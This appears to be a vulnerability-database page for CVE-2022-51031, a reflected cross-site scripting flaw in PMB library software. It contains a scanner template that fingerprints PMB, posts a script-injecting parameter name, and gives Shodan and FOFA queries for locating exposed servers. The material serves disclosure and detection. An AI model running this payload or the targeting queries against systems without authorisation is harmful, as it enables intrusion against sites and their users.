CVE-2022-51031: PMB - Reflected XSS

2026-11-29 PoC Public

Description

PMB (PhpMyBibli) 7.3.1 through 7.3.15 and 7.4.x before 7.4.5 contain a reflected cross-site scripting flaw. Unescaped POST parameter names in opac_css/index.php let an unauthenticated attacker run JavaScript.

Details

CVE
CVE-2022-51031 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2022-51031

info:
  name: PMB - Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    PMB (PhpMyBibli) 7.3.1 through 7.3.15 and 7.4.x before 7.4.5 contain a reflected cross-site scripting flaw. Unescaped POST parameter names in opac_css/index.php let an unauthenticated attacker run JavaScript.
  impact: |
    Unauthenticated attackers can run JavaScript in users' browsers, which could lead to session hijacking or phishing.
  remediation: |
    Upgrade to versions 7.3.15 or 7.4.5 or later.
  reference:
    - https://github.com/jenaye/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2022-51031
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-51031
    epss-score: 0.00683
    epss-percentile: 0.47785
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: sigb
    product: pmb
    shodan-query: http.favicon.hash:1469328760
    fofa-query: icon_hash="1469328760"
  tags: cve,cve2022,pmb,xss,unauth,vkev

variables:
  rstr: "{{rand_base(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /pmb/opac_css/index.php HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_any(body, "PMB Group", "pmbDojo", "opac_css")'
        condition: and
        internal: true

  - raw:
      - |
        POST /pmb/opac_css/index.php?lvl=search_result&search_type_asked=extended_search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        add_field=&search%5B%5D=f_1&op_0_f_1=EXACT&field_0_f_1%5B%5D=gang&explicit_search=1&search_xml_file=search_fields&delete_field=&launch_search=1&page=&no_search=0&{{rstr}}%22%3e%3cscript%3ealert(1)%3c%2fscript%3e{{rstr}}=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(1)</script>", rstr)'
        condition: and
# digest: 4a0a00473045022100e2e01eaf73440fabb828c0c651b853f674cbf99623d20defe7e0c62ca9621a14022000b1d79d1fbdda387fb3611dff900de3b50bb4357a68fa3e96ea60a19bc61c5c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life